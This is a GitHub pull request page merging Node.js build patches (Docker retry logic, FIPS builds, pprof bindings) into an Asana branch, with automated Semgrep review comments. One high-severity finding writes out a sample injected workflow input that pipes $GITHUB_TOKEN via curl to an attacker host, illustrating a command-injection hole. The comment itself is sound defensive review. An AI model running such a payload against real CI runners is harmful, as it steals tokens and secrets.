Merge v22 patches into 22.23.4 branch by nneha-a · Pull Request #28 · Asana/node

nneha-a · 2026-10-23T21:37:43Z

No description provided.

…t run OSX

Ubuntu 22.04 ARM64 mirrors (ports.ubuntu.com) are rate-limiting with 403 errors. Ubuntu 20.04 works reliably for both x64 and ARM64 builds. Co-Authored-By: Claude (global.anthropic.claude-opus-4-5-20251101-v1:0) <noreply@anthropic.com>

Ubuntu 22.04 is required for production and matches the v20 FIPS build. The earlier 403 errors were transient rate-limiting, not a fundamental issue. Co-Authored-By: Claude (global.anthropic.claude-opus-4-5-20251101-v1:0) <noreply@anthropic.com>

Adds retry loop with 5 attempts and 15-second delays to handle transient mirror rate-limiting (403 errors) on ARM64 builds. Co-Authored-By: Claude (global.anthropic.claude-opus-4-5-20251101-v1:0) <noreply@anthropic.com>

Combines apt-get update, software-properties-common install, PPA setup, and main package install into one retry loop. This protects all network operations from transient 403 errors on ARM64 mirrors. Co-Authored-By: Claude (global.anthropic.claude-opus-4-5-20251101-v1:0) <noreply@anthropic.com>

Same retry pattern as FIPS Dockerfile - consolidates all apt-get commands into single retry loop to handle transient mirror failures. Co-Authored-By: Claude (global.anthropic.claude-opus-4-5-20251101-v1:0) <noreply@anthropic.com>

- Build Node -> Build Node (Standard) - Build Node with FIPS-enabled OpenSSL -> Build Node (FIPS) - Build node-fibers with prebuilt Node -> Build Custom Fibers - Build node-packages with prebuilt Node -> Build Node-Packages Also updated workflow_run triggers to reference new name. Co-Authored-By: Claude (global.anthropic.claude-opus-4-5-20251101-v1:0) <noreply@anthropic.com>

…dates - Use versioned fibers base package (20250515) which includes Node 20 binaries - Add validation that combined fibers archive contains Node 18, 20, and 22 binaries - Add diagnostic output when linux-*.gz injection step finds no files - Replace broken sed block-removal commands with Python to avoid leaving empty stubs - Preserve nodejsfips (Node 20 FIPS) toolchain instead of removing it Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>

node_modules/.bin/node-gyp was not found because node-gyp was not explicitly installed in the pprof-source workdir. Add an explicit npm install step to make it available. Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>

- Replace --ignore-scripts with --build-from-source so npm properly runs build steps for pprof dependencies - Switch node-gyp rebuild to use explicit --nodedir flag (more reliable than npm_config_nodedir env var) - Use find to locate the built .node binary instead of hardcoding profiler.node, which may differ across pprof-nodejs versions Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>

semgrep-code-asana · 2026-10-23T21:40:47Z

+        run: |
+          docker build -t node22_fips_build -f ./${{ inputs.DOCKER_FILE }} .
+


🟠 High severity blocking issue identified in your code:

The untrusted inputs.DOCKER_FILE value is interpolated into a shell command, allowing command injection on the GitHub Actions runner. An attacker can execute commands and potentially steal tokens, secrets, source code, or build artifacts.

More details about this

inputs.DOCKER_FILE is inserted directly into a shell command. Because workflow inputs can be supplied or influenced by an untrusted workflow invocation, shell metacharacters in that value are executed by the runner rather than treated as part of the Dockerfile path.

For example, an attacker could provide this input:

Dockerfile; echo "$GITHUB_TOKEN" | curl -X POST --data-binary @- https://attacker.example/collect; #

The step would effectively run:

docker build -t node22_fips_build -f ./Dockerfile echo "$GITHUB_TOKEN" | curl -X POST --data-binary @- https://attacker.example/collect # .

The injected command runs on the same GitHub Actions runner as docker build, so it can read accessible environment variables, workspace files, checked-out Node source, Docker credentials, and other tokens or secrets available to the job. An attacker could then use those credentials to access repositories, publish modified artifacts, or exfiltrate source code.

To resolve this comment:

✨ Commit fix suggestion

Suggested change

run: |

docker build -t node22_fips_build -f ./${{ inputs.DOCKER_FILE }} .

env:

DOCKER_FILE: ${{ inputs.DOCKER_FILE }}

run: |

docker build -t node22_fips_build -f "./$DOCKER_FILE" .

View step-by-step instructions

Add an env entry to the Execute the Dockerfile step to transfer the workflow input into an environment variable:
DOCKER_FILE: ${{ inputs.DOCKER_FILE }}

Replace the direct expression in the shell command with the quoted environment variable:
docker build -t node22_fips_build -f "./$DOCKER_FILE" .

If only specific Dockerfiles are valid, validate DOCKER_FILE against an allowlist before running Docker, such as case "$DOCKER_FILE" in Dockerfile|Dockerfile.*) ;; *) exit 1 ;; esac.

💬 Ignore this finding

Reply with Semgrep commands to ignore this finding.

/fp <comment> for false positive

/ar <comment> for acceptable risk

/other <comment> for all other reasons

Alternatively, triage in Semgrep AppSec Platform to ignore the finding created by run-shell-injection.

Please reach out to Security (go/sec-inbox) if you need help with this.

_{You can view more details about this finding in the Semgrep AppSec Platform.}

semgrep-code-asana · 2026-10-23T21:40:48Z

+
+# Build Node.js
+echo "Building Node.js (this may take a while)..."
+make -j${JOBS}


🔵 Low severity issue identified in your code:

Unquoted JOBS can be split or glob-expanded before make runs. This may change the parallel-job argument or pass unintended arguments to the build.

More details about this

make -j${JOBS} expands JOBS without quotes. Because JOBS can come from the environment (JOBS=${JOBS:-...}), whitespace, glob characters, or an altered IFS can split or transform its value into multiple command-line arguments, changing the requested parallelism or causing make to receive unintended targets and options. This makes the build behavior depend on untrusted or unexpected shell input rather than treating JOBS as one value.

To resolve this comment:

✨ Commit fix suggestion

Suggested change

make -j${JOBS}

case "${JOBS}" in ''|*[!0-9]*|0*) printf '%s\n' "Error: JOBS must be a positive integer." >&2; exit 1;; esac; make -j"${JOBS}"

View step-by-step instructions

Quote the JOBS expansion in the make command: change make -j${JOBS} to make -j"${JOBS}".

Keep JOBS as a single scalar value; if parallel-job input can be user-controlled, validate it as a positive integer before invoking make. Quoting prevents shell word splitting and ensures make receives one job-count argument.

💬 Ignore this finding

Reply with Semgrep commands to ignore this finding.

/fp <comment> for false positive

/ar <comment> for acceptable risk

/other <comment> for all other reasons

Alternatively, triage in Semgrep AppSec Platform to ignore the finding created by unquoted-variable-expansion-in-command.

Please reach out to Security (go/sec-inbox) if you need help with this.

_{You can view more details about this finding in the Semgrep AppSec Platform.}

semgrep-code-asana · 2026-10-23T21:40:49Z

+# Download packages and move to codez
+gh release download -R Asana/node node-v22.21.1-release -p "packages_*.gz"
+echo "Moving packages to $CODEZ/node/gyp"
+mv packages_arm64.tar.gz $CODEZ/node/gyp/packages_arm64_node22.tar.gz


🔵 Low severity issue identified in your code:

Unquoted $CODEZ can be split or glob-expanded, so mv may use an incorrect destination path or fail.

More details about this

$CODEZ is unquoted in the destination argument to mv on this line. If CODEZ contains whitespace or shell glob characters, Bash can split or expand it, causing the archive to be moved to the wrong location or making mv fail; quoting preserves $CODEZ/node/gyp/packages_arm64_node22.tar.gz as one destination path.

To resolve this comment:

✨ Commit fix suggestion

Double-quote the $CODEZ expansion in both mv commands so the destination path remains one argument even when it contains whitespace or shell metacharacters:
mv packages_arm64.tar.gz "$CODEZ/node/gyp/packages_arm64_node22.tar.gz"
mv packages_x64.tar.gz "$CODEZ/node/gyp/packages_amd64_node22.tar.gz"

💬 Ignore this finding

Reply with Semgrep commands to ignore this finding.

/fp <comment> for false positive

/ar <comment> for acceptable risk

/other <comment> for all other reasons

Alternatively, triage in Semgrep AppSec Platform to ignore the finding created by unquoted-variable-expansion-in-command.

Please reach out to Security (go/sec-inbox) if you need help with this.

_{You can view more details about this finding in the Semgrep AppSec Platform.}

semgrep-code-asana · 2026-10-23T21:40:50Z

+
+      # Flatten directory structure if needed (handle both usr/local and direct layouts)
+      if [ -d "$target_dir/usr/local" ]; then
+        mv $target_dir/usr/local/* "$target_dir"


🔵 Low severity issue identified in your code:

Unquoted $target_dir can be split or glob-expanded, causing mv to use unintended source paths. This makes archive flattening unreliable and potentially moves or overwrites the wrong files.

More details about this

$target_dir is unquoted in the source path of mv $target_dir/usr/local/* "$target_dir". If target_dir contains whitespace or shell metacharacters, Bash performs word splitting and pathname expansion before mv runs, which can turn the intended directory path into multiple or unintended source paths. This can move the wrong files, fail to flatten the extracted archive, or overwrite an unexpected destination. Quoting this expansion preserves the directory name as one path while leaving the deliberate * selection of its contents intact.

To resolve this comment:

✨ Commit fix suggestion

Quote the variable portion of the source path while leaving the glob unquoted so the shell expands matching files individually:
mv "$target_dir"/usr/local/* "$target_dir"

Keep the destination quoted as "$target_dir" so directory names containing whitespace remain a single argument.

Do not write mv "$target_dir/usr/local/*" "$target_dir" because that prevents * from expanding to the files inside the directory.

💬 Ignore this finding

Reply with Semgrep commands to ignore this finding.

/fp <comment> for false positive

/ar <comment> for acceptable risk

/other <comment> for all other reasons

Alternatively, triage in Semgrep AppSec Platform to ignore the finding created by unquoted-variable-expansion-in-command.

Please reach out to Security (go/sec-inbox) if you need help with this.

_{You can view more details about this finding in the Semgrep AppSec Platform.}

semgrep-code-asana · 2026-10-23T21:40:51Z

+gh release download -R Asana/node node-v22.21.1-release -p "packages_*.gz"
+echo "Moving packages to $CODEZ/node/gyp"
+mv packages_arm64.tar.gz $CODEZ/node/gyp/packages_arm64_node22.tar.gz
+mv packages_x64.tar.gz $CODEZ/node/gyp/packages_amd64_node22.tar.gz


🔵 Low severity issue identified in your code:

The unquoted $CODEZ expansion can be split or pathname-expanded, causing mv to use the wrong destination or fail when placing the amd64 package.

More details about this

On line mv packages_x64.tar.gz $CODEZ/node/gyp/packages_amd64_node22.tar.gz, the $CODEZ expansion is unquoted. If CODEZ contains whitespace or characters matched by pathname expansion, Bash can split or expand the destination into multiple arguments, so mv may fail or move the archive to an unintended path. This is especially relevant here because CODEZ supplies the shared destination root for downloaded release artifacts; an unexpected value can prevent the amd64 package from being placed at node/gyp/packages_amd64_node22.tar.gz.

To resolve this comment:

✨ Commit fix suggestion

Quote the destination path so the value of CODEZ cannot be split on whitespace or shell separators:
mv packages_x64.tar.gz "$CODEZ/node/gyp/packages_amd64_node22.tar.gz"

Keep the source path quoted as well for consistent safe shell handling:
mv "packages_x64.tar.gz" "$CODEZ/node/gyp/packages_amd64_node22.tar.gz"

💬 Ignore this finding

Reply with Semgrep commands to ignore this finding.

/fp <comment> for false positive

/ar <comment> for acceptable risk

/other <comment> for all other reasons

Alternatively, triage in Semgrep AppSec Platform to ignore the finding created by unquoted-variable-expansion-in-command.

Please reach out to Security (go/sec-inbox) if you need help with this.

_{You can view more details about this finding in the Semgrep AppSec Platform.}

semgrep-code-asana · 2026-10-23T21:40:52Z

+fi
+echo "Validation passed: archive contains binaries for Node 18, 20, and 22"
+
+SHORT_HASH=$(cat temp.tgz | sha1sum | cut -c1-4)


~~🟡 Medium severity issue identified in your code:~~

~~Useless call to 'cat' in a pipeline. Use '<' and '>' for any command to read from a file or write to a file.~~

🧹 Fixed in commit 19c9937 🧹

semgrep-code-asana · 2026-10-23T21:40:53Z

Semgrep found 1 useless-cat finding:

stage_for_s3.bash
- L72 - Triage

🟡 Medium severity issue identified in your code:

Useless call to 'cat' in a pipeline. Use '<' and '>' for any command to read from a file or write to a file.

Please reach out to Security (go/sec-inbox) if you need help with this.

Semgrep found 12 github-actions-mutable-action-tag findings:

.github/workflows/build-node.yml
- L26 - Triage
- L73 - Triage
- L79 - Triage
- L85 - Triage
.github/workflows/build-node-packages.yml
- L31 - Triage
- L71 - Triage
.github/workflows/build-node-openssl-fips.yml
- L33 - Triage
- L80 - Triage
- L86 - Triage
- L92 - Triage
.github/workflows/build-node-fibers.yml
- L31 - Triage
- L68 - Triage

🟡 Medium severity issue identified in your code:

GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608.

Please reach out to Security (go/sec-inbox) if you need help with this.

JackStrohm-asana and others added 25 commits February 3, 2026 13:30

Initial patch

6f70fb0

s3 staging script

a8d4c9b

script to build locally instead of using docker containers which don'…

0c1288a

…t run OSX

update github actions to build node fibers

5e0424e

fix node-fibers branchname

2d64ee8

update staging directory

b9b6b32

Add fips build workflow

b577cda

change fiber and package build triggers

ba48e86

try to fix network errors on apt-get

9977ae6

working on apt-get failures

2118248

removed push trigger

5122fc2

another test

9260bf1

switch FIPS Dockerfile to Ubuntu 20.04

cf4884d

Ubuntu 22.04 ARM64 mirrors (ports.ubuntu.com) are rate-limiting with 403 errors. Ubuntu 20.04 works reliably for both x64 and ARM64 builds. Co-Authored-By: Claude (global.anthropic.claude-opus-4-5-20251101-v1:0) <noreply@anthropic.com>

revert FIPS Dockerfile to Ubuntu 22.04

3814757

Ubuntu 22.04 is required for production and matches the v20 FIPS build. The earlier 403 errors were transient rate-limiting, not a fundamental issue. Co-Authored-By: Claude (global.anthropic.claude-opus-4-5-20251101-v1:0) <noreply@anthropic.com>

add robust retry logic to FIPS Dockerfile apt-get

0824123

Adds retry loop with 5 attempts and 15-second delays to handle transient mirror rate-limiting (403 errors) on ARM64 builds. Co-Authored-By: Claude (global.anthropic.claude-opus-4-5-20251101-v1:0) <noreply@anthropic.com>

add robust retry logic to regular Node Dockerfile

18a6979

Same retry pattern as FIPS Dockerfile - consolidates all apt-get commands into single retry loop to handle transient mirror failures. Co-Authored-By: Claude (global.anthropic.claude-opus-4-5-20251101-v1:0) <noreply@anthropic.com>

added fips to the staging script to make sure we don't have cache issues

0f26935

make staging do fips and update asana codez codebase

829e1c9

update lockfile instructions

6dad6fe

Untested support for profiler

bd560ee

Install node-gyp before rebuilding pprof native binding

d2b5f7f

node_modules/.bin/node-gyp was not found because node-gyp was not explicitly installed in the pprof-source workdir. Add an explicit npm install step to make it available. Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>

semgrep-code-asana Bot reviewed Oct 23, 2026

View reviewed changes

Merge branch 'v22.23.4' into v22.21.1-before-cherry-pick

19c9937

nneha-a merged commit b5dbd8d into v22.23.4 Oct 23, 2026
12 of 21 checks passed

Navigation Menu

Repository navigation

Merge v22 patches into 22.23.4 branch - #28

Merge v22 patches into 22.23.4 branch#28
nneha-a merged 26 commits into
v22.23.4from
v22.21.1-before-cherry-pick

nneha-a commented Oct 23, 2026

Uh oh!

semgrep-code-asana Bot Oct 23, 2026

Uh oh!

semgrep-code-asana Bot Oct 23, 2026

Uh oh!

semgrep-code-asana Bot Oct 23, 2026

Uh oh!

semgrep-code-asana Bot Oct 23, 2026

Uh oh!

semgrep-code-asana Bot Oct 23, 2026

Uh oh!

semgrep-code-asana Bot Oct 23, 2026 •

edited

Loading

Uh oh!

semgrep-code-asana Bot commented Oct 23, 2026

Uh oh!

Uh oh!

Reviewers

Uh oh!

Assignees

Labels

Milestone

Development

Uh oh!

2 participants

		run: \|
		docker build -t node22_fips_build -f ./${{ inputs.DOCKER_FILE }} .

-        run: |
-          docker build -t node22_fips_build -f ./${{ inputs.DOCKER_FILE }} .
+      env:
+        DOCKER_FILE: ${{ inputs.DOCKER_FILE }}
+      run: |
+        docker build -t node22_fips_build -f "./$DOCKER_FILE" .

	make -j${JOBS}
	case "${JOBS}" in ''\|[!0-9]\|0*) printf '%s\n' "Error: JOBS must be a positive integer." >&2; exit 1;; esac; make -j"${JOBS}"

Conversation

nneha-a commented Oct 23, 2026

Uh oh!

semgrep-code-asana Bot Oct 23, 2026

Choose a reason for hiding this comment

Uh oh!

semgrep-code-asana Bot Oct 23, 2026

Choose a reason for hiding this comment

Uh oh!

semgrep-code-asana Bot Oct 23, 2026

Choose a reason for hiding this comment

Uh oh!

semgrep-code-asana Bot Oct 23, 2026

Choose a reason for hiding this comment

Uh oh!

semgrep-code-asana Bot Oct 23, 2026

Choose a reason for hiding this comment

Uh oh!

semgrep-code-asana Bot Oct 23, 2026 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

Choose a reason for hiding this comment

Uh oh!

semgrep-code-asana Bot commented Oct 23, 2026

Uh oh!

Uh oh!

Reviewers

Uh oh!

Assignees

Labels

Milestone

Development

Uh oh!

2 participants

semgrep-code-asana Bot Oct 23, 2026 •

edited

Loading